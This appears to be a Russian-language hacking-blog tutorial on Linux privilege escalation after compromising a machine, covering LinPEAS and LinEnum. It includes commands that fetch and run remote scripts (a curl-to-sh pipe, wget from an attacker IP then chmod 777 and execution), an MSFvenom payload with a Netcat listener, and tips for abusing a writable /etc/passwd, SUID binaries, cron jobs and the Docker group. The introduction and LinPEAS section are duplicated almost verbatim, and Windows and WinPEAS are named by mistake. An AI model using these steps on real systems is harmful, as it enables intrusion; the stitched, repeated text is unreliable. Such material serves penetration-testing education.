Повышение привилегий в Linux. Скрипт. Часть 1

Повышение привилегий в Linux. Скрипт. Часть 1

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение

В этой статье представлен скрипт для повышения привилегий в Linux. Он поможет пользователю получить доступ к большему количеству возможностей операционной системы.

Введение

Когда злоумышленник атакует операционную систему Linux, большую часть времени он тратит на получение базового Shell, который может быть преобразован в TTY Shell или сеанс Meterpreter. Этот Shell дает возможность выполнять ограниченный набор операций. Итак, чтобы повысить свои привилегии в системе, пользователю нужно перечислить различные файлы, каталоги, разрешения, журналы и файлы /etc/passwd. Количество файлов внутри любой системы Linux огромное. Следовательно, выполнить эту задачу вручную очень сложно, даже если специалист знает, где нужно искать данные. Почему бы не автоматизировать эту задачу с помощью скриптов?

В принципе, повышение привилегий – это фаза, которая наступает после того, как злоумышленник скомпрометировал машину жертвы. Он пытается собрать критическую информацию, связанную с такими системами, как скрытые пароли, плохо настроенные службы или приложения. Эти данные помогают злоумышленнику осуществить пост-эксплойт машины для получения более привилегированного Shell.

Векторы повышения привилегий

Следующая информация в системе Windows считается критической:

  • версия операционной системы;
  • любой уязвимый пакет, который был установлен;
  • файлы и папки с полным контролем или возможностью изменения доступа;
  • подключенные диски;
  • потенциально конфиденциальные файлы;
  • сетевая информация (интерфейсы, arp);
  • состояние и политики безопасности межсетевого экрана;
  • активные процессы;
  • учетные данные;
  • права Sudo;
  • переменные Path;
  • Docker;
  • условия переполнения буфера;
  • параметры.

Несколько скриптов используются при тестировании на проникновение для быстрого определения потенциальных векторов повышения привилегий в системах Linux. В данной статье будет подробно рассмотрен каждый из них.

Получение доступа к машине Linux

Этот шаг предназначен для поддержания непрерывной связи с машиной. Будучи экспертами в данной области, некоторые читатели могут пропустить этот раздел и перейти непосредственно к скриптам. Более того, если сеанс уже был получен посредством какого-либо другого эксплойта, то эта информация также будет бесполезной.

Поскольку идет речь о постэксплуатации или скриптах, которые могут быть использованы для перечисления параметров и повышения привилегий, сначала нужно получить доступ к машине. Это сделать несложно. Во-первых, пользователь создает полезную нагрузку с помощью MSFvenom. Помимо эксплойта, он будет содержать наш локальный IP-адрес и порт, на котором пользователь желает получить сеанс. После успешного создания полезной нагрузки он вводит команду «python one line» для ее размещения на порту номер 80. Пользователь делает это для отправки полезной нагрузки в целевую систему. После этого он запускает листенер Netcat на локальном порту, который был добавлен при создании полезной нагрузки. Затем выполняется сама полезная нагрузка на целевой машине. Человек получает сеанс.

LinPEAS

Ссылка: LinPEAS

Стоит начать с LinPEAS. Он был создан Carlos P. Скрипт сделан с простой целью – перечислить все возможные способы или методы повышения привилегий в системе Linux. Одна из лучших вещей в нем заключается в том, что для него не нужны определенные зависимые компоненты. Это дает возможность запускать существующие двоичные файлы. LinPEAS был протестирован на Debian, CentOS, FreeBSD и OpenBSD. Он был создан таким образом, что скрипт ничего не будет записывать непосредственно на диск. Во время своей работы по умолчанию он не будет пытаться войти в систему как другой пользователь через команду su. Количество времени, которое отнимает у пользователя LinPEAS, варьируется от 2 до 10 минут в зависимости от числа проверок. Если пользователь запускает WinPEAS внутри задачи по захвату флага, то следует использовать параметр «-a». Это активирует проведение всех проверок. LinPEAS отслеживает процессы, чтобы найти частые cron jobs, однако для этого также нужно будет добавить параметр «-a». Скрипт запишет нужную информацию в файл, который будет удален позже. Это делает его работу совершенной, так как он не оставляет никаких следов.

Другие параметры:

  • -s (superfast & stealth): он позволит сэкономить время и выполнить только нужные проверки.
  • -P (Password): получение пароля, который будет использоваться с sudo-l и брутфорсинга других пользователей.
  • -h: справка.
  • -o: выполнять только выбранные проверки.
  • -d <IP/NETMASK>: обнаружение хостов с помощью fping или ping.
  • ip <PORT(s)> -d <IP/NETMASK>: обнаружение хостов, доступных на открытых портах TCP с помощью nc.

С помощью скрипта пользователь экспортирует и сбрасывает некоторые переменные среды во время выполнения, поэтому ни одна команда, осуществленная во время сеанса, не будет сохранена в файле с историей действий. Если пользователю не нужна эта функция, следует просто добавить параметр «–n» во время ее использования. LinPEAS можно установить непосредственно из GitHub с помощью команды «curl».

curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh

Повышение привилегий в Linux. Скрипт

Дата: 22.04.2021

Автор: Игорь Б.

Категории:

Статьи по информационной безопасности

В этой статье представлен скрипт для повышения привилегий в Linux. Он поможет пользователю получить доступ к большему количеству возможностей операционной системы.

Введение

Когда злоумышленник атакует операционную систему Linux, большую часть времени он тратит на получение базового Shell, который может быть преобразован в TTY Shell или сеанс Meterpreter. Этот Shell дает возможность выполнять ограниченный набор операций. Итак, чтобы повысить свои привилегии в системе, пользователю нужно перечислить различные файлы, каталоги, разрешения, журналы и файлы /etc/passwd. Количество файлов внутри любой системы Linux огромное. Следовательно, выполнить эту задачу вручную очень сложно, даже если специалист знает, где нужно искать данные. Почему бы не автоматизировать эту задачу с помощью скриптов?

В принципе, повышение привилегий – это фаза, которая наступает после того, как злоумышленник скомпрометировал машину жертвы. Он пытается собрать критическую информацию, связанную с такими системами, как скрытые пароли, плохо настроенные службы или приложения. Эти данные помогают злоумышленнику осуществить пост-эксплойт машины для получения более привилегированного Shell.

Векторы повышения привилегий

Следующая информация в системе Windows считается критической:

  • версия операционной системы;
  • любой уязвимый пакет, который был установлен;
  • файлы и папки с полным контролем или возможностью изменения доступа;
  • подключенные диски;
  • потенциально конфиденциальные файлы;
  • сетевая информация (интерфейсы, arp);
  • состояние и политики безопасности межсетевого экрана;
  • активные процессы;
  • учетные данные;
  • права Sudo;
  • переменные Path;
  • Docker;
  • условия переполнения буфера;
  • параметры.

Несколько скриптов используются при тестировании на проникновение для быстрого определения потенциальных векторов повышения привилегий в системах Linux. В данной статье будет подробно рассмотрен каждый из них.

Получение доступа к машине Linux

Этот шаг предназначен для поддержания непрерывной связи с машиной. Будучи экспертами в данной области, некоторые читатели могут пропустить этот раздел и перейти непосредственно к скриптам. Более того, если сеанс уже был получен посредством какого-либо другого эксплойта, то эта информация также будет бесполезной.

Поскольку идет речь о постэксплуатации или скриптах, которые могут быть использованы для перечисления параметров и повышения привилегий, сначала нужно получить доступ к машине. Это сделать несложно. Во-первых, пользователь создает полезную нагрузку с помощью MSFvenom. Помимо эксплойта, он будет содержать наш локальный IP-адрес и порт, на котором пользователь желает получить сеанс. После успешного создания полезной нагрузки он вводит команду «python one line» для ее размещения на порту номер 80. Пользователь делает это для отправки полезной нагрузки в целевую систему. После этого он запускает листенер Netcat на локальном порту, который был добавлен при создании полезной нагрузки. Затем выполняется сама полезная нагрузка на целевой машине. Человек получает сеанс.

LinPEAS

Ссылка: LinPEAS

Стоит начать с LinPEAS. Он был создан Carlos P. Скрипт сделан с простой целью – перечислить все возможные способы или методы повышения привилегий в системе Linux. Одна из лучших вещей в нем заключается в том, что для него не нужны определенные зависимые компоненты. Это дает возможность запускать существующие двоичные файлы. LinPEAS был протестирован на Debian, CentOS, FreeBSD и OpenBSD. Он был создан таким образом, что скрипт ничего не будет записывать непосредственно на диск. Во время своей работы по умолчанию он не будет пытаться войти в систему как другой пользователь через команду su. Количество времени, которое отнимает у пользователя LinPEAS, варьируется от 2 до 10 минут в зависимости от числа проверок. Если пользователь запускает WinPEAS внутри задачи по захвату флага, то следует использовать параметр «-a». Это активирует проведение всех проверок. LinPEAS отслеживает процессы, чтобы найти частые cron jobs, однако для этого также нужно будет добавить параметр «-a». Скрипт запишет нужную информацию в файл, который будет удален позже. Это делает его работу совершенной, так как он не оставляет никаких следов.

Другие параметры:

  • -s (superfast & stealth): он позволит сэкономить время и выполнить только нужные проверки.
  • -P (Password): получение пароля, который будет использоваться с sudo-l и брутфорсинга других пользователей.
  • -h: справка.
  • -o: выполнять только выбранные проверки.
  • -d <IP/NETMASK>: обнаружение хостов с помощью fping или ping.
  • ip <PORT(s)> -d <IP/NETMASK>: обнаружение хостов, доступных на открытых портах TCP с помощью nc.

С помощью скрипта пользователь экспортирует и сбрасывает некоторые переменные среды во время выполнения, поэтому ни одна команда, осуществленная во время сеанса, не будет сохранена в файле с историей действий. Если пользователю не нужна эта функция, следует просто добавить параметр «–n» во время ее использования. LinPEAS можно установить непосредственно из GitHub с помощью команды «curl».

curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh

Здесь читатели могут увидеть интересный модуль файлов LinPEAS в работе. Помимо прочего, скрипт также перечисляет доступные для записи файлы текущего пользователя или целой группы. Видно, что группа Docker имеет доступ для записи. Итак, пользователь может перечислить файл, скопировав его во временный контейнер, а затем обратно в целевое место назначения на хосте. Таким образом, он сможет повысить свои привилегии. Это возможно потому, что некоторые привилегированные пользователи пишут файлы за пределами данной закрытой файловой системы.

Двигаясь дальше, пользователь обнаружил, что существует файл формата python с именем «cleanup.py» внутри каталога nt. Нужно иметь разрешение на выполнение «cleanup.py». Обычно оно связано с cron job. Таким образом, пользователю следует ввести команду вызова Shell:

Проверка SUID: Set User ID – это тип разрешения, который дает пользователям возможность выполнить файл. Те файлы, которые имеют разрешения SUID, доступны для юзеров с высокими привилегиями. Здесь LinPEAS дает пользователю понять, что целевая машина имеет разрешения SUID для find, cp и nano.

LinPEAS также проверяет различные важные файлы на наличие разрешения на запись. Здесь можно увидеть, что целевой сервер содержит файл /etc/passwd, доступный для записи. Это означает, что хакер может создать хэш пользователя и пароля на своем устройстве, а затем добавить полученные данные в файл /etc/passwd, имея доступ Root. Таким образом, появляется возможность скомпрометировать машину.

Далее происходит поиск разрешений Sudo. При их наличии пользователь сможет использовать следующие команды с повышенным доступом без пароля Root. Собственно говоря, это позволит хакеру ссылаться на них в GTFOBIN и найти нужную строку, чтобы получить права Root на целевой машине.

ls
python -m SimpleHTTPServer 80

Пользователь сохранил скрипт в каталог tmp, так как он имеет право на запись. Кроме того, следует предоставить соответствующие разрешения самому скрипту, чтобы выполнить его.

cd /tmp
wget 192.168.1.5/linpeas.sh
chmod 777 linpeas.sh
./linpeas.sh

LinEnum

Ссылка: LinEnum

Пора взглянуть на LinEnum. Он был создан пользователем Rebootuser. LinEnum – это сценарий Shell, целью которого является извлечение информации из целевой машины для повышении привилегий. Он поддерживает экспериментальную функцию отчетности, которая может помочь экспортировать результат сканирования в удобочитаемый формат. Скрипт имеет несколько параметров, таких как:

  • -k: ввод ключевого слова.
  • -e: ввод пути для экспорта файлов.
  • -t: длительные тестирования.
  • -s: добавление текущего пароля пользователя для проверки sudo perms (не всегда безопасно).
  • -r: имя отчета
  • -h: справка.

Скрипт проверяет различные ресурсы или параметры, указанные ниже:

  • Сведения о процессоре
  • Информация о системе

Имя хоста, сведения о сети, текущий IP-адрес, сведения о маршруте по умолчанию, информация о DNS-сервере.

  • Информация о пользователе

Актуальные данные о пользователе, последние активные юзеры, показывает пользователей, вошедших на хост, и список всех пользователей, включая информацию uid/gid. Также представлен список учетных записей с правами Root, политика по защите паролей и информация о методах хранения хэша. Скрипт проверяет значение umask, хранятся ли хэши паролей в файле /etc/passwd, извлекает полную информацию о «стандартных» uid, таких как 0, 1000, 1001. Более того, он пытается прочитать ограниченные файлы, т.е. /etc/shadow, перечисляет актуальные файлы с историей активности пользователей.

  • Доступ к привилегиям

Какие пользователи недавно использовали Sudo, доступен ли /etc/sudoers, имеет ли текущий пользователь доступ к Sudo без пароля, известны ли двоичные файлы для «прорыва» защиты через Sudo (например, nmap, vim), доступен ли домашний каталог Root, можно ли перечислить разрешения для /home/.

  • Среда

Отображение текущего $PATH и информации о env.

  • Задачи

Все cron jobs, доступные для записи; cron jobs, принадлежащие другим пользователям; активные и неактивные systemd timers.

  • Службы

Список сетевых подключений (TCP & UDP), список запущенных процессов, поиск списка двоичных файлов и связанных с ними разрешений, список файлов Netconf, список двоичных разрешений init.d.

  • Информация о версии

Sudo, MYSQL, Postgres, Apache (проверяет конфигурацию пользователя, показывает включенные модули, проверяет файлы htpasswd, просматривает каталоги www).

  • Учетные данные по умолчанию (или которые легко взломать)

Проверка учетных записей Postgres и MYSQL на наличие уязвимостей.

  • Поиск

Находит все файлы SUID/GUID, доступные для записи; все файлы SUID/GUID, относящиеся к пользователям с правами Root; все «интересные» файлы SUID/GUID (например, nmap, vim). Скрипт также ищет все файлы POSIX, доступные для записи; детали сервера NFS; файлы с .conf и .log или с каким-то другим ключевым словом, добавленным во время выполнения скрипта.

  • Тесты определенной платформы или программного обеспечения

Проверяет, находится ли пользователь в контейнере Docker, установлен ли он на хосте, находится ли человек в контейнер LXC.

Пользователь загружает локально размещенный скрипт LinEnum и затем выполняет его после получения соответствующих разрешений.

wget 192.168.1.5/LinEnum.sh
chmod 777 LinEnum.sh
./LinEnum.sh

Видно, что скрипт смог перечислить биты SUID на nano, cp и find.

При перечислении Cron Jobs он нашел файл cleanup.py. Что с ним делать – читатель уже знает.

Он также проверяет систему на наличие групп с привилегированным доступом. В данном случае это группа Docker.

LinEnum также обнаружил, что файл /etc/passwd доступен для записи на целевом компьютере.

Продолжение следует...

Источник


Report Page